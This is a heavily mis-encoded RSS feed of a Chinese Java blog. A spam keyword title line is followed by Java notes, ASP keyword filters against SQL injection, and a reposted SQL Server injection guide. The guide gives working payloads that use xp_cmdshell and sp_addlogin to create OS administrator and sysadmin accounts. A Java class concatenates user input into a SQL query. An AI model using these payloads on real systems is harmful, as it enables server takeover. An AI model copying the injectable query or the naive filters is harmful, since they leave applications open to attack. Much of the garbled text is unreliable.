??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲乱码中文字幕手机在线,一本色道久久综合亚洲精品,亚洲真人日本在线http://www.tkk7.com/lmsun/zh-cnWed, 14 May 2025 16:06:44 GMTWed, 14 May 2025 16:06:44 GMT60corejavaMW记http://www.tkk7.com/lmsun/archive/2006/06/23/54655.htmlmy javamy javaFri, 23 Jun 2006 05:25:00 GMThttp://www.tkk7.com/lmsun/archive/2006/06/23/54655.htmlhttp://www.tkk7.com/lmsun/comments/54655.htmlhttp://www.tkk7.com/lmsun/archive/2006/06/23/54655.html#Feedback3http://www.tkk7.com/lmsun/comments/commentRss/54655.htmlhttp://www.tkk7.com/lmsun/services/trackbacks/54655.html2.1安装java 1、java工具?a >http://java.sun.com/j2se/1.4/install-windows.html 2、设|执行环境(windows 2000) PATH=c:\jdk\bin; 3、安装库源文件和文档 jar xvf src.jar jar xvf j2sdkversion-doc.zip
W一个java例子 eg:Weclome.java
public class Welcome { public static void main(String[] args) { String[] greeting=new String[3]; greeting[0]="Welcome to Core Java"; greeting[1]="by Car Horstman"; greeting[2]="and Gary Cornell"; for ( int i=0;i<greeting.length;i++) System.out.println(greeting[i]); } }
]]>防SQL注入http://www.tkk7.com/lmsun/archive/2006/02/05/29575.htmlmy javamy javaSun, 05 Feb 2006 02:23:00 GMThttp://www.tkk7.com/lmsun/archive/2006/02/05/29575.htmlhttp://www.tkk7.com/lmsun/comments/29575.htmlhttp://www.tkk7.com/lmsun/archive/2006/02/05/29575.html#Feedback0http://www.tkk7.com/lmsun/comments/commentRss/29575.htmlhttp://www.tkk7.com/lmsun/services/trackbacks/29575.html<% function sqlcheck(Str,errtype) if Instr(LCase(Str),"select ") > 0 or Instr(LCase(Str),"insert ") > 0 or Instr(LCase(Str),"delete ") > 0 or Instr(LCase(Str),"delete from ") > 0 or Instr(LCase(Str),"count(") > 0 or Instr(LCase(Str),"drop table") > 0 or Instr(LCase(Str),"update ") > 0 or Instr(LCase(Str),"truncate ") > 0 or Instr(LCase(Str),"asc(") > 0 or Instr(LCase(Str),"mid(") > 0 or Instr(LCase(Str),"char(") > 0 or Instr(LCase(Str),"xp_cmdshell") > 0 or Instr(LCase(Str),"exec master") > 0 or Instr(LCase(Str),"net localgroup administrators") > 0 or Instr(LCase(Str),"and ") > 0 or Instr(LCase(Str),"net user") > 0 or Instr(LCase(Str),"or ") > 0 then Response.write("<script language=javascript>" & vbcrlf & "window.location.href ='ShowError.asp?errtype=" & errtype & "'" & vbcrlf & "</script>") Response.End end if Str=Replace(Str,"_","") 'qo(h)SQL注入_ Str=Replace(Str,"*","") 'qo(h)SQL注入* Str=Replace(Str," ","") 'qo(h)SQL注入I格 Str=Replace(Str,chr(34),"") 'qo(h)SQL注入" Str=Replace(Str,chr(39),"") 'qo(h)SQL注入' Str=Replace(Str,chr(91),"") 'qo(h)SQL注入[ Str=Replace(Str,chr(93),"") 'qo(h)SQL注入] Str=Replace(Str,chr(37),"") 'qo(h)SQL注入% Str=Replace(Str,chr(58),"") 'qo(h)SQL注入: Str=Replace(Str,chr(59),"") 'qo(h)SQL注入; Str=Replace(Str,chr(43),"") 'qo(h)SQL注入+ Str=Replace(Str,"{","") 'qo(h)SQL注入{ Str=Replace(Str,"}","") 'qo(h)SQL注入} sqlcheck=Str 'q回l过上面字符替换后的Str end function %>
function SafeRequest(ParaName,ParaType) '--- 传入参数 --- 'ParaName:参数名称-字符? 'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?
Dim ParaValue ParaValue=Request(ParaName) If ParaType=1 then If not isNumeric(ParaValue) then Response.write "参数" & ParaName & "必须为数字型Q? Response.end End if Else ParaValue=replace(ParaValue,"'","''") End if SafeRequest=ParaValue End function
Function SafeRequest(ParaValue,ParaType) '--- 传入参数 --- 'ParaName:参数名称-字符?BR> 'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?
'Dim ParaValue 'ParaValue=Request(ParaName)函数里面是不要加引号 If ParaType=1 then If not isNumeric(ParaValue) then Response.write " 参数" & ParaName & "必须为数字型Q? Response.end End if Else ParaValue=replace(ParaValue,"'","") ParaValue=replace(ParaValue,";and 1=1","") ParaValue=replace(ParaValue,";and 1=2","") ParaValue=replace(ParaValue,";and user>0","") ParaValue=replace(ParaValue,">","") ParaValue=replace(ParaValue,"<","") ParaValue=replace(ParaValue,"=","") ParaValue=replace(ParaValue,"count","") ParaValue=replace(ParaValue,"select","") ParaValue=replace(ParaValue,"drop","") ParaValue=replace(ParaValue,"delect","") ParaValue=replace(ParaValue,"insert","") ParaValue=replace(ParaValue,"execute","") ParaValue=replace(ParaValue,"update","") ParaValue=replace(ParaValue,"mid","") ParaValue=replace(ParaValue,"exec","") ParaValue=replace(ParaValue,"master","") ParaValue=replace(ParaValue,"char","") ParaValue=replace(ParaValue,"declare","") ParaValue=replace(ParaValue,"*","") ParaValue=replace(ParaValue,"%","") ParaValue=replace(ParaValue,"chr","") ParaValue=replace(ParaValue,"truncate","") End if SafeRequest=ParaValue End function '调用方式 DirID=Request("DirID")'///数据目录名称参数/无则表示全部数据 DirID=SafeRequest(DirID,1)
Dim SQL_inbreakstr SQL_inbreakstr = "'|or|and|exec|insert|select|delete|update|drop|count|*|%|chr|mid|master|truncate|char|declare" SQL_inbreak = split(SQL_inbreakstr,"|") R_Q=Request.QueryString R_F=Request.Form IF R_Q<>"" THEN For i=0 To Ubound(SQL_inbreak) IF instr(R_Q,SQL_inbreak(i))>0 THEN Response.Write "*****" Response.End END IF Next End IF
IF R_F<>"" THEN For i=0 To Ubound(SQL_inbreak) IF instr(R_F,SQL_inbreak(i))>0 THEN Response.Write "*****" Response.End END IF Next END IF
]]>桂林老兵的SQLSERVER高注入技?转帖)http://www.tkk7.com/lmsun/archive/2006/02/05/29571.htmlmy javamy javaSun, 05 Feb 2006 02:04:00 GMThttp://www.tkk7.com/lmsun/archive/2006/02/05/29571.htmlhttp://www.tkk7.com/lmsun/comments/29571.htmlhttp://www.tkk7.com/lmsun/archive/2006/02/05/29571.html#Feedback0http://www.tkk7.com/lmsun/comments/commentRss/29571.htmlhttp://www.tkk7.com/lmsun/services/trackbacks/29571.html
[获得数据表名][字D值更Cؓ(f)表名Q再x(chng)dq个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条g]
[获得数据表字D名][字D值更Cؓ(f)字段名,再想法读?gu)个字D늚值就可得到字D名] update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条g]
也可以这hL(fng)获取表名Q?/P>
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',?
通过SQLSERVER注入漏洞建数据库理员帐号和pȝ理员帐号[当前帐号必须是SYSADMINl]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //d数据库用L(fng)户test,密码为test news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果x(chng)密码Q则用这句(test的密码改?23456Q?BR>news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //test加到sysadminl?q个l的成员可执行Q何操?BR>news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //dpȝ用户test,密码为test news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //系l用户test提升为管理员
(A) ID=49 q类注入的参数是数字型,SQL语句原貌大致如下Q? Select * from 表名 where 字段=49 注入的参Cؓ(f)ID=49 And [查询条g]Q即是生成语句:(x) Select * from 表名 where 字段=49 And [查询条g]
(B) Class=q箋(hu)?q类注入的参数是字符型,SQL语句原貌大致概如下:(x) Select * from 表名 where 字段=’连l剧? 注入的参Cؓ(f)Class=q箋(hu)剧?and [查询条g] and ‘??Q即是生成语句:(x) Select * from 表名 where 字段=’连l剧?and [查询条g] and ‘?’?
(C) 搜烦(ch)时没qo(h)参数的,如keyword=关键字,SQL语句原貌大致如下Q? Select * from 表名 where 字段like ?关键?? 注入的参Cؓ(f)keyword=?and [查询条g] and ??’, x(chng)生成语句Q? Select * from 表名 where字段like ??and [查询条g] and ????
function SafeRequest(ParaName,ParaType) '--- 传入参数 --- 'ParaName:参数名称-字符? 'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?
Dim ParaValue ParaValue=Request(ParaName) If ParaType=1 then If not isNumeric(ParaValue) then Response.write "参数" & ParaName & "必须为数字型Q? Response.end End if Else ParaValue=replace(ParaValue,"'","''") End if SafeRequest=ParaValue End function
<!-- Only users in the administrator role can access the delete-account.jsp page within the admin directory. --> <security-constraint> <web-resource-collection> <web-resource-name>Account Deletion</web-resource-name> <url-pattern>/admin/delete-account.jsp</url-pattern> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>
<!-- Tell the server to use form-based authentication. --> <login-config> <auth-method>FORM</auth-method> <form-login-config> <form-login-page>/admin/login.jsp</form-login-page> <form-error-page>/admin/login-error.jsp</form-error-page> </form-login-config> </login-config>
]]>ListEmpActionhttp://www.tkk7.com/lmsun/archive/2005/09/27/14187.htmlmy javamy javaTue, 27 Sep 2005 05:21:00 GMThttp://www.tkk7.com/lmsun/archive/2005/09/27/14187.htmlhttp://www.tkk7.com/lmsun/comments/14187.htmlhttp://www.tkk7.com/lmsun/archive/2005/09/27/14187.html#Feedback0http://www.tkk7.com/lmsun/comments/commentRss/14187.htmlhttp://www.tkk7.com/lmsun/services/trackbacks/14187.html/* * Created on 2005-9-27 * * TODO To change the template for this generated file go to * Window - Preferences - Java - Code Style - Code Templates */ package fibernews.action; import javax.servlet.http.*;
/** * @author Administrator * * TODO To change the template for this generated type comment go to * Window - Preferences - Java - Code Style - Code Templates */ public class ListEmpAction extends Action {
List list ; public String process(HttpServletRequest request, HttpServletResponse response) { Connection conn=DBHelper.getConnection(); Statement st=null; PreparedStatement pst=null; ResultSet rs=null ; String query=HandleString.toChinese(request.getParameter("query")); if ((query==null)||query.trim().equals("")) query="lmsun"; try{
String sql="select * from employee_email where name like '%"+query+"%' or email like '%"+query+"%'" ; //st=conn.createStatement(); pst=conn.prepareStatement(sql); rs=pst.executeQuery(); list=new ArrayList(); Employee emp; while (rs.next()){ emp=new Employee(); emp.setId(rs.getString("id")); emp.setEmployee_bh(rs.getString("employee_bh")); emp.setName(rs.getString("name")); emp.setEmail(rs.getString("email")); emp.setDepartment1(rs.getString("department1")); emp.setDepartment2(rs.getString("department2")); emp.setDepartment3(rs.getString("department3")); list.add(emp); }